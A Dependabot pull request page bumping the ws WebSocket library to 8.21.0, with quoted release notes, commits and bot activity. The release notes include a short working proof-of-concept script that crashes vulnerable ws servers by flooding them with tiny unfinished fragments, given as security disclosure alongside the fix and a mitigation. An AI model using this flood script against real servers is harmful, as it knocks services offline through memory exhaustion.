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chore(deps): bump ws from 8.19.0 to 8.21.0#1620

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chore(deps): bump ws from 8.19.0 to 8.21.0#1620
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@dependabot dependabot Bot commented on behalf of github May 20, 2026

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Bumps ws from 8.19.0 to 8.21.0.

Release notes

Sourced from ws's releases.

8.21.0

Features

  • Introduced the maxBufferedChunks and maxFragments options (2b2abd45).

Bug fixes

  • Fixed a remote memory exhaustion DoS vulnerability (2b2abd45).

A high volume of tiny fragments and data chunks could be sent by a peer, using modest network traffic, to crash a ws server or client due to OOM.

import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer({ port: 0 }, function () {
const data = Buffer.alloc(1);
const options = { fin: false };
const { port } = wss.address();
const ws = new WebSocket(ws://localhost:${port});
ws.on('open', function () {
(function send() {
ws.send(data, options, function (err) {
if (err) return;
send();
});
})();
});
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(client close - code: ${code} reason: ${reason.toString()});
});
});
wss.on('connection', function (ws) {
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(server close - code: ${code} reason: ${reason.toString()});
});
});

The vulnerability was responsibly disclosed and fixed by Nadav Magier.

In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible.

8.20.1

... (truncated)

Commits
  • bca91ad [dist] 8.21.0
  • 2b2abd4 [security] Limit retained message parts
  • 78eabe2 [security] Add latest vulnerability to SECURITY.md
  • 5d9b316 [dist] 8.20.1
  • c0327ec [security] Fix uninitialized memory disclosure in websocket.close()
  • ce2a3d6 [ci] Test on node 26
  • 58e45b8 [ci] Do not test on node 25
  • 5f26c24 [ci] Run the lint step on node 24
  • 8439255 [dist] 8.20.0
  • d3503c1 [minor] Export the PerMessageDeflate class and header utils
  • Additional commits viewable in compare view

Note
Automatic rebases have been disabled on this pull request as it has been open for over 30 days.

@dependabot dependabot Bot added dependencies Pull requests that update a dependency file javascript Pull requests that update javascript code labels May 20, 2026
@dependabot dependabot Bot force-pushed the dependabot/npm_and_yarn/ws-8.20.1 branch 2 times, most recently from 3f70da2 to 5794c3b Compare May 28, 2026 18:29
@dependabot dependabot Bot force-pushed the dependabot/npm_and_yarn/ws-8.20.1 branch from 5794c3b to c8f8b8f Compare June 3, 2026 23:16
@dependabot dependabot Bot force-pushed the dependabot/npm_and_yarn/ws-8.20.1 branch 3 times, most recently from b583ecc to faf0315 Compare June 13, 2026 00:58
@dependabot dependabot Bot changed the title chore(deps): bump ws from 8.19.0 to 8.20.1 chore(deps): bump ws from 8.19.0 to 8.21.0 Jun 16, 2026
@dependabot dependabot Bot force-pushed the dependabot/npm_and_yarn/ws-8.20.1 branch 2 times, most recently from 91dd6ea to b15316b Compare June 16, 2026 22:11
Bumps [ws](https://github.com/websockets/ws) from 8.19.0 to 8.21.0.
- [Release notes](https://github.com/websockets/ws/releases)
- [Commits](websockets/ws@8.19.0...8.21.0)

---
updated-dependencies:
- dependency-name: ws
  dependency-version: 8.20.1
  dependency-type: direct:production
...

Signed-off-by: dependabot[bot] <support@github.com>
@dependabot dependabot Bot force-pushed the dependabot/npm_and_yarn/ws-8.20.1 branch from b15316b to 517d800 Compare June 19, 2026 08:16
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